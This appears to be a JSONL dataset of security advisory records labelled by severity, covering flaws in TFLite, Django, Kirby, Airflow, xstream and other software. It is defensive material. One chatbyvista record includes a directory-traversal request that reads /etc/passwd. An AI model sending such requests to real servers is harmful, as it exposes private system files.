-{"id": "e3af2e4c41c28a43cf7f", "text": "Use of unitialized value in TFLite\n\n### Impact\nAll TFLite operations that use quantization can be made to use unitialized values. [For example](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/depthwise_conv.cc#L198-L200):\n\n```cc\n    const auto* affine_quantization =\n        reinterpret_cast<TfLiteAffineQuantization*>(\n            filter->quantization.params);\n```\n\nThe issue stems from the fact that `quantization.params` is only valid if `quantization.type` is different that `kTfLiteNoQuantization`. However, these checks are missing in large parts of the code.\n\n### Patches\nWe have patched the issue in GitHub commits [537bc7c723439b9194a358f64d871dd326c18887](https://github.com/tensorflow/tensorflow/commit/537bc7c723439b9194a358f64d871dd326c18887),\n[4a91f2069f7145aab6ba2d8cfe41be8a110c18a5](https://github.com/tensorflow/tensorflow/commit/4a91f2069f7145aab6ba2d8cfe41be8a110c18a5) and [8933b8a21280696ab119b63263babdb54c298538](https://github.com/tensorflow/tensorflow/commit/8933b8a21280696ab119b63263babdb54c298538).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Use of unitialized value in TFLite\n\n[Severity: MEDIUM]\n\n### Impact\nAll TFLite operations that use quantization can be made to use unitialized values. [For example](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/depthwise_conv.cc#L198-L200):\n\n```cc\n    const auto* affine_quantization =\n        reinterpret_cast<TfLiteAffineQuantization*>(\n            filter->quantization.params);\n```\n\nThe issue stems from the fact that `quantization.params` is only valid if `quantization.type` is different that `kTfLiteNoQuantization`. However, these checks are missing in large parts of the code.\n\n### Patches\nWe have patched the issue in GitHub commits [537bc7c723439b9194a358f64d871dd326c18887](https://github.com/tensorflow/tensorflow/commit/537bc7c723439b9194a358f64d871dd326c18887),\n[4a91f2069f7145aab6ba2d8cfe41be8a110c18a5](https://github.com/tensorflow/tensorflow/commit/4a91f2069f7145aab6ba2d8cfe41be8a110c18a5) and [8933b8a21280696ab119b63263babdb54c298538](https://github.com/tensorflow/tensorflow/commit/8933b8a21280696ab119b63263babdb54c298538).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "51170050aa4b69358da4", "text": "Django vulnerable to information leakage in AuthenticationForm\n\n`django.contrib.auth.forms.AuthenticationForm` in Django 2.0 before 2.0.2, and 1.11.8 and 1.11.9, allows remote attackers to obtain potentially sensitive information by leveraging data exposure from the `confirm_login_allowed()` method, as demonstrated by discovering whether a user account is inactive.", "text_raw": "Django vulnerable to information leakage in AuthenticationForm\n\n[Severity: HIGH]\n\n`django.contrib.auth.forms.AuthenticationForm` in Django 2.0 before 2.0.2, and 1.11.8 and 1.11.9, allows remote attackers to obtain potentially sensitive information by leveraging data exposure from the `confirm_login_allowed()` method, as demonstrated by discovering whether a user account is inactive.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-03", "split": "train"}
-{"id": "a3db922d85caf4546ed7", "text": "Incorrect check on buffer length in rand_core\n\nAn issue was discovered in the rand_core crate before 0.6.2 for Rust. Because `read_u32_into` and `read_u64_into` mishandle certain buffer-length checks, a random number generator may be seeded with too little data. The vulnerability was introduced in v0.6.0. The advisory doesn't apply to earlier minor version numbers.\n\nBecause read_u32_into and read_u64_into mishandle certain buffer-length checks, a random number generator may be seeded with too little data.", "text_raw": "Incorrect check on buffer length in rand_core\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the rand_core crate before 0.6.2 for Rust. Because `read_u32_into` and `read_u64_into` mishandle certain buffer-length checks, a random number generator may be seeded with too little data. The vulnerability was introduced in v0.6.0. The advisory doesn't apply to earlier minor version numbers.\n\nBecause read_u32_into and read_u64_into mishandle certain buffer-length checks, a random number generator may be seeded with too little data.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "5025fbd9bf9dfbe46724", "text": "Improper Verification of Cryptographic Signature in golang.org/x/crypto\n\ngolang.org/x/crypto before v0.0.0-20200220183623-bac4c82f6975 for Go allows a panic during signature verification in the golang.org/x/crypto/ssh package. A client can attack an SSH server that accepts public keys. Also, a server can attack any SSH client.", "text_raw": "Improper Verification of Cryptographic Signature in golang.org/x/crypto\n\n[Severity: HIGH]\n\ngolang.org/x/crypto before v0.0.0-20200220183623-bac4c82f6975 for Go allows a panic during signature verification in the golang.org/x/crypto/ssh package. A client can attack an SSH server that accepts public keys. Also, a server can attack any SSH client.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "fdfbe465b5e3d7b768d7", "text": "Data Flow Sanitation Issue Fix\n\n### Impact\nDue to missing sanitation in data flow it was possible for admin users to upload arbitrary executable files to the server.", "text_raw": "Data Flow Sanitation Issue Fix \n\n[Severity: HIGH]\n\n### Impact\nDue to missing sanitation in data flow it was possible for admin users to upload arbitrary executable files to the server.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "63378c88277a4375f64a", "text": "Potential CSV Injection vector in OctoberCMS\n\n### Impact\nAny users with the ability to modify any data that could eventually be exported as a CSV file from the `ImportExportController` could potentially introduce a CSV injection into the data to cause the generated CSV export file to be malicious. This requires attackers to achieve the following before a successful attack can be completed:\n\n1. Have found a vulnerability in the victim's spreadsheet software of choice.\n2. Control data that would potentially be exported through the `ImportExportController` by a theoretical victim.\n3. Convince the victim to export above data as a CSV and run it in vulnerable spreadsheet software while also bypassing any sanity checks by said software.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/c84bf03f506052c848f2fddc05f24be631427a1a & https://github.com/octobercms/october/commit/802d8c8e09a2b342649393edb6d3ceb958851484 to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by @chrisvidal initially & [Sivanesh Ashok](https://stazot.com/) later.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)", "text_raw": "Potential CSV Injection vector in OctoberCMS\n\n[Severity: MEDIUM]\n\n### Impact\nAny users with the ability to modify any data that could eventually be exported as a CSV file from the `ImportExportController` could potentially introduce a CSV injection into the data to cause the generated CSV export file to be malicious. This requires attackers to achieve the following before a successful attack can be completed: \n\n1. Have found a vulnerability in the victim's spreadsheet software of choice.\n2. Control data that would potentially be exported through the `ImportExportController` by a theoretical victim.\n3. Convince the victim to export above data as a CSV and run it in vulnerable spreadsheet software while also bypassing any sanity checks by said software.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/c84bf03f506052c848f2fddc05f24be631427a1a & https://github.com/octobercms/october/commit/802d8c8e09a2b342649393edb6d3ceb958851484 to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by @chrisvidal initially & [Sivanesh Ashok](https://stazot.com/) later.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\nGiven the number of hoops that a potential attacker would have to jump through, this vulnerability really boils down to the possibility of abusing the trust that a user may have in the export functionality of the project. Thus, this has been rated low severity as it requires vulnerabilities to also exist in other software used by any potential victims as well as successful social engineering attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "b0ffffbe63e87caed6cb", "text": "Missing Authorization in TYPO3 extension\n\nThe direct_mail extension through 5.2.3 for TYPO3 allows Information Disclosure via a newsletter subscriber data Special Query.", "text_raw": "Missing Authorization in TYPO3 extension\n\n[Severity: MEDIUM]\n\nThe direct_mail extension through 5.2.3 for TYPO3 allows Information Disclosure via a newsletter subscriber data Special Query.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "6eab063c9df3726d844d", "text": "Mini FTP Server 1.1 Buffer Corruption Remote Denial Of Service Exploit", "text_raw": "Mini FTP Server 1.1 Buffer Corruption Remote Denial Of Service Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-08-28", "split": "train"}
-{"id": "7b67ec8640b6b10ec438", "text": "Directory Traversal in chatbyvista\n\nAffected versions of `chatbyvista` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in chatbyvista\n\n[Severity: HIGH]\n\nAffected versions of `chatbyvista` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "994eec174c1443c2c6e8", "text": "Restlet Framework allows remote attackers to access arbitrary files via a crafted REST API HTTP request\n\nRestlet Framework before 2.3.12 allows remote attackers to access arbitrary files via a crafted REST API HTTP request that conducts an XXE attack, because only general external entities (not parameter external entities) are properly considered. This is related to XmlRepresentation, DOMRepresentation, SaxRepresentation, and JacksonRepresentation.", "text_raw": "Restlet Framework allows remote attackers to access arbitrary files via a crafted REST API HTTP request\n\n[Severity: HIGH]\n\nRestlet Framework before 2.3.12 allows remote attackers to access arbitrary files via a crafted REST API HTTP request that conducts an XXE attack, because only general external entities (not parameter external entities) are properly considered. This is related to XmlRepresentation, DOMRepresentation, SaxRepresentation, and JacksonRepresentation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "e768652ddfed857028b1", "text": "keycloak before version 4.0.0.final is vulnerable to a infinite loop in session replacement. A Keycloak cluster with multiple nodes could mishandle an expired session replacement and lead to an infinite loop. A malicious authenticated user could use this flaw to achieve Denial of Service on the server.", "text_raw": "Moderate severity vulnerability that affects org.keycloak:keycloak-core\n\n[Severity: MEDIUM]\n\nkeycloak before version 4.0.0.final is vulnerable to a infinite loop in session replacement. A Keycloak cluster with multiple nodes could mishandle an expired session replacement and lead to an infinite loop. A malicious authenticated user could use this flaw to achieve Denial of Service on the server.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "9f24efac7735fc311f3c", "text": "Kirby .dev domains and some reverse proxy setups were treated as local\n\n### Impact\n\n#### About our registration block\n\nIn order to protect new installations on public servers that don't have an admin account for the Panel yet, we block account registration there by default. This is a security feature, which we implemented years ago in Kirby 2. It helps to avoid that you forget registering your first admin account on a public server.\n\nIn this case – without our security block – someone else might theoretically be able to find your site, find out it's running on Kirby, find the Panel and then register the account first. It's an unlikely situation, but it's still a certain risk.\n\nTo be able to register the first Panel account on a public server, you have to enforce the installer via a config setting. This helps to push all users to the best practice of registering your first Panel account on your local machine and upload it together with the rest of the site.\n\n#### The issue\n\nAs noted by [Jukka Rautanen](https://github.com/jukra), this installation block implementation in Kirby versions before 3.3.6 still assumed that .dev domains are local domains, which is no longer true. In the meantime, those domains became publicly available. This means that our installation block is no longer working as expected if you use a .dev domain for your Kirby site.\n\nIn fixing this issue, we've also found out that the local installation check may also fail if your site is behind a reverse proxy.\n\n#### Am I affected?\n\nYou are only affected if:\n\n1. you use a .dev domain or your site is behind a reverse proxy &\n2. you have not yet registered your first Panel account on the public server & \n3. someone finds your site and tries to login at `yourdomain.dev/panel` before you register your first account.\n\nYou are not affected if you have already created one or multiple Panel accounts (no matter if on a .dev domain or behind a reverse proxy).\n\n### Patches\n\nThe problem has been patched in [Kirby 2.5.14](https://github.com/getkirby-v2/panel/releases/tag/2.5.14) and [Kirby 3.3.6](https://github.com/getkirby/kirby/releases/tag/3.3.6). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\n**Note:** Kirby 2 reaches end of life on December 31, 2020. We therefore recommend to upgrade your Kirby 2 sites to Kirby 3. If you cannot upgrade, we still recommend to update to Kirby 2.5.14.\n\n### Workarounds\n\nKirby 2 sites on older releases can also be patched by applying the [changes from this commit](https://github.com/getkirby-v2/panel/commit/7f9ac1876bacb89fd8f142f5e561a02ebb725baa).", "text_raw": "Kirby .dev domains and some reverse proxy setups were treated as local\n\n[Severity: MEDIUM]\n\n### Impact\n\n#### About our registration block\n\nIn order to protect new installations on public servers that don't have an admin account for the Panel yet, we block account registration there by default. This is a security feature, which we implemented years ago in Kirby 2. It helps to avoid that you forget registering your first admin account on a public server. \n\nIn this case – without our security block – someone else might theoretically be able to find your site, find out it's running on Kirby, find the Panel and then register the account first. It's an unlikely situation, but it's still a certain risk.\n\nTo be able to register the first Panel account on a public server, you have to enforce the installer via a config setting. This helps to push all users to the best practice of registering your first Panel account on your local machine and upload it together with the rest of the site. \n\n#### The issue\n\nAs noted by [Jukka Rautanen](https://github.com/jukra), this installation block implementation in Kirby versions before 3.3.6 still assumed that .dev domains are local domains, which is no longer true. In the meantime, those domains became publicly available. This means that our installation block is no longer working as expected if you use a .dev domain for your Kirby site.\n\nIn fixing this issue, we've also found out that the local installation check may also fail if your site is behind a reverse proxy. \n\n#### Am I affected?\n\nYou are only affected if:\n\n1. you use a .dev domain or your site is behind a reverse proxy &\n2. you have not yet registered your first Panel account on the public server & \n3. someone finds your site and tries to login at `yourdomain.dev/panel` before you register your first account.\n\nYou are not affected if you have already created one or multiple Panel accounts (no matter if on a .dev domain or behind a reverse proxy).\n\n### Patches\n\nThe problem has been patched in [Kirby 2.5.14](https://github.com/getkirby-v2/panel/releases/tag/2.5.14) and [Kirby 3.3.6](https://github.com/getkirby/kirby/releases/tag/3.3.6). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\n**Note:** Kirby 2 reaches end of life on December 31, 2020. We therefore recommend to upgrade your Kirby 2 sites to Kirby 3. If you cannot upgrade, we still recommend to update to Kirby 2.5.14.\n\n### Workarounds\n\nKirby 2 sites on older releases can also be patched by applying the [changes from this commit](https://github.com/getkirby-v2/panel/commit/7f9ac1876bacb89fd8f142f5e561a02ebb725baa).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-14", "split": "train"}
-{"id": "5d9de94b20cccfd8b1d9", "text": "Division by zero in TFLite's implementation of `DepthwiseConv`\n\n### Impact\nThe implementation of the `DepthwiseConv` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/1a8e885b864c818198a5b2c0cbbeca5a1e833bc8/tensorflow/lite/kernels/depthwise_conv.cc#L287-L288):\n\n```cc\nint num_input_channels = SizeOfDimension(input, 3);\nTF_LITE_ENSURE_EQ(context, num_filter_channels % num_input_channels, 0);\n```\n\nAn attacker can craft a model such that `input`'s fourth dimension would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [cbda3c6b2dbbd3fbdc482ff8c0170a78ec2e97d0](https://github.com/tensorflow/tensorflow/commit/cbda3c6b2dbbd3fbdc482ff8c0170a78ec2e97d0).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `DepthwiseConv`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of the `DepthwiseConv` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/1a8e885b864c818198a5b2c0cbbeca5a1e833bc8/tensorflow/lite/kernels/depthwise_conv.cc#L287-L288):\n\n```cc\nint num_input_channels = SizeOfDimension(input, 3);\nTF_LITE_ENSURE_EQ(context, num_filter_channels % num_input_channels, 0);\n```\n\nAn attacker can craft a model such that `input`'s fourth dimension would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [cbda3c6b2dbbd3fbdc482ff8c0170a78ec2e97d0](https://github.com/tensorflow/tensorflow/commit/cbda3c6b2dbbd3fbdc482ff8c0170a78ec2e97d0).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "5494629d0b5ef0dd0132", "text": "Directory Traversal in Archive_Tar\n\nTar.php in Archive_Tar through 1.4.11 allows write operations with Directory Traversal due to inadequate checking of symbolic links, a related issue to CVE-2020-28948.\n\n### :exclamation: Note: \nThere was an [initial fix](https://github.com/pear/Archive_Tar/commit/cde460582ff389404b5b3ccb59374e9b389de916) for this vulnerability made in version `1.4.12`. That fix introduced a bug which was [fixed in 1.4.13](https://github.com/pear/Archive_Tar/pull/36). Therefore we have set the first-patched-version to `1.4.13` which the earliest working version that avoids this vulnerability.", "text_raw": "Directory Traversal in Archive_Tar\n\n[Severity: HIGH]\n\nTar.php in Archive_Tar through 1.4.11 allows write operations with Directory Traversal due to inadequate checking of symbolic links, a related issue to CVE-2020-28948.\n\n### :exclamation: Note: \nThere was an [initial fix](https://github.com/pear/Archive_Tar/commit/cde460582ff389404b5b3ccb59374e9b389de916) for this vulnerability made in version `1.4.12`. That fix introduced a bug which was [fixed in 1.4.13](https://github.com/pear/Archive_Tar/pull/36). Therefore we have set the first-patched-version to `1.4.13` which the earliest working version that avoids this vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "f7ec5aa51a1abeb103ac", "text": "Malicious Package in momen\n\nAll versions of `momen` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in momen\n\n[Severity: CRITICAL]\n\nAll versions of `momen` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "3190315b940e3a8876e0", "text": "Deserialization of Untrusted Data and Code Injection in xstream\n\nIt was found that xstream API version 1.4.10 before 1.4.11 introduced a regression for a previous deserialization flaw. If the security framework has not been initialized, it may allow a remote attacker to run arbitrary shell commands when unmarshalling XML or any supported format. e.g. JSON. (regression of CVE-2013-7285)", "text_raw": "Deserialization of Untrusted Data and Code Injection in xstream\n\n[Severity: CRITICAL]\n\nIt was found that xstream API version 1.4.10 before 1.4.11 introduced a regression for a previous deserialization flaw. If the security framework has not been initialized, it may allow a remote attacker to run arbitrary shell commands when unmarshalling XML or any supported format. e.g. JSON. (regression of CVE-2013-7285)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-26", "split": "train"}
-{"id": "29e16a77bd569b7592bd", "text": "Cross-Site Scripting in iobroker.web\n\nVersions of `iobroker.web` prior to 2.4.10 are vulnerable to Cross-Site Scripting. The package fails to escape URL parameters that may be reflected in the server response. This can be used by attackers to execute arbitrary JavaScript in the victim's browser.\n\n## Recommendation\n\nUpgrade to version 2.4.10 or later.", "text_raw": "Cross-Site Scripting in iobroker.web\n\n[Severity: MEDIUM]\n\nVersions of `iobroker.web` prior to 2.4.10 are vulnerable to Cross-Site Scripting. The package fails to escape URL parameters that may be reflected in the server response. This can be used by attackers to execute arbitrary JavaScript in the victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.4.10 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "946dfd1e06c1454999e0", "text": "Newtec Satellite Modem MDM6000 2.2.5 Cross-Site Scripting Vulnerability", "text_raw": "Newtec Satellite Modem MDM6000 2.2.5 Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-08-21", "split": "train"}
-{"id": "7795718dbe2af8436a1d", "text": "Duplicate Advisory: \"Arbitrary code execution in socket.io-file\"\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6495-8jvh-f28x. This link is maintained to preserve external references.\n\n## Original Description\n\"The socket.io-file package through 2.0.31 for Node.js relies on client-side validation of file types, which allows remote attackers to execute arbitrary code by uploading an executable file via a modified JSON name field. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\"", "text_raw": "Duplicate Advisory: \"Arbitrary code execution in socket.io-file\"\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6495-8jvh-f28x. This link is maintained to preserve external references.\n\n## Original Description\n\"The socket.io-file package through 2.0.31 for Node.js relies on client-side validation of file types, which allows remote attackers to execute arbitrary code by uploading an executable file via a modified JSON name field. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "773622eca79359a55caf", "text": "Improper Handling of Exceptional Conditions in Apache Tomcat\n\nA vulnerability in Apache Tomcat allows an attacker to remotely trigger a denial of service. An error introduced as part of a change to improve error handling during non-blocking I/O meant that the error flag associated with the Request object was not reset between requests. This meant that once a non-blocking I/O error occurred, all future requests handled by that request object would fail. Users were able to trigger non-blocking I/O errors, e.g. by dropping a connection, thereby creating the possibility of triggering a DoS. Applications that do not use non-blocking I/O are not exposed to this vulnerability. This issue affects Apache Tomcat 10.0.3 to 10.0.4; 9.0.44; 8.5.64.", "text_raw": "Improper Handling of Exceptional Conditions in Apache Tomcat\n\n[Severity: HIGH]\n\nA vulnerability in Apache Tomcat allows an attacker to remotely trigger a denial of service. An error introduced as part of a change to improve error handling during non-blocking I/O meant that the error flag associated with the Request object was not reset between requests. This meant that once a non-blocking I/O error occurred, all future requests handled by that request object would fail. Users were able to trigger non-blocking I/O errors, e.g. by dropping a connection, thereby creating the possibility of triggering a DoS. Applications that do not use non-blocking I/O are not exposed to this vulnerability. This issue affects Apache Tomcat 10.0.3 to 10.0.4; 9.0.44; 8.5.64.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-13", "split": "train"}
-{"id": "d9d4c49fe9d04aeb8397", "text": "Directory traversal vulnerability in actionpack\n\nDirectory traversal vulnerability in actionpack/lib/action_dispatch/middleware/static.rb in Action Pack in Ruby on Rails 3.x before 3.2.21, 4.0.x before 4.0.12, 4.1.x before 4.1.8, and 4.2.x before 4.2.0.beta4, when serve_static_assets is enabled, allows remote attackers to determine the existence of files outside the application root via vectors involving a \\ (backslash) character, a similar issue to CVE-2014-7818.", "text_raw": "Directory traversal vulnerability in actionpack\n\n[Severity: MEDIUM]\n\nDirectory traversal vulnerability in actionpack/lib/action_dispatch/middleware/static.rb in Action Pack in Ruby on Rails 3.x before 3.2.21, 4.0.x before 4.0.12, 4.1.x before 4.1.8, and 4.2.x before 4.2.0.beta4, when serve_static_assets is enabled, allows remote attackers to determine the existence of files outside the application root via vectors involving a \\ (backslash) character, a similar issue to CVE-2014-7818.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f482075f9a98b1fea18a", "text": "Django open redirect and possible XSS attack via user-supplied numeric redirect URLs\n\nDjango 1.10 before 1.10.7, 1.9 before 1.9.13, and 1.8 before 1.8.18 relies on user input in some cases to redirect the user to an \"on success\" URL. The security check for these redirects (namely ``django.utils.http.is_safe_url()``) considered some numeric URLs \"safe\" when they shouldn't be, aka an open redirect vulnerability. Also, if a developer relies on ``is_safe_url()`` to provide safe redirect targets and puts such a URL into a link, they could suffer from an XSS attack.", "text_raw": "Django open redirect and possible XSS attack via user-supplied numeric redirect URLs\n\n[Severity: MEDIUM]\n\nDjango 1.10 before 1.10.7, 1.9 before 1.9.13, and 1.8 before 1.8.18 relies on user input in some cases to redirect the user to an \"on success\" URL. The security check for these redirects (namely ``django.utils.http.is_safe_url()``) considered some numeric URLs \"safe\" when they shouldn't be, aka an open redirect vulnerability. Also, if a developer relies on ``is_safe_url()`` to provide safe redirect targets and puts such a URL into a link, they could suffer from an XSS attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "baff547d010c87a5d20d", "text": "Cisco IP Phones Web Server Remote Code Execution and Denial-of-Service Vulnerability\n\nAffected: Cisco Cisco IP Phones\n\nCisco IP Phones contain an improper input validation vulnerability for HTTP requests. Exploitation could allow an attacker to execute code remotely with root privileges or cause a denial-of-service (DoS) condition.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco IP Phones Web Server Remote Code Execution and Denial-of-Service Vulnerability\n\nAffected: Cisco Cisco IP Phones\n\nCisco IP Phones contain an improper input validation vulnerability for HTTP requests. Exploitation could allow an attacker to execute code remotely with root privileges or cause a denial-of-service (DoS) condition.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "bb63f8c8adcfed5ffafa", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "622007033e76276a0059", "text": "Downloads Resources over HTTP in baryton-saxophone\n\nAffected versions of `baryton-saxophone` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `baryton-saxophone`.\n\n## Recommendation\n\nUpdate to version 3.0.1 or later.", "text_raw": "Downloads Resources over HTTP in baryton-saxophone\n\n[Severity: HIGH]\n\nAffected versions of `baryton-saxophone` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `baryton-saxophone`.\n\n\n## Recommendation\n\nUpdate to version 3.0.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "00cd5ff1e1f17f27b590", "text": "Prototype pollution in nconf-toml\n\nPrototype pollution vulnerability in `nconf-toml` versions 0.0.1 through 0.0.2 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in nconf-toml\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in `nconf-toml` versions 0.0.1 through 0.0.2 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "efd2c951ffe879339d60", "text": "Command injection via Celery broker in Apache Airflow\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.", "text_raw": "Command injection via Celery broker in Apache Airflow\n\n[Severity: CRITICAL]\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
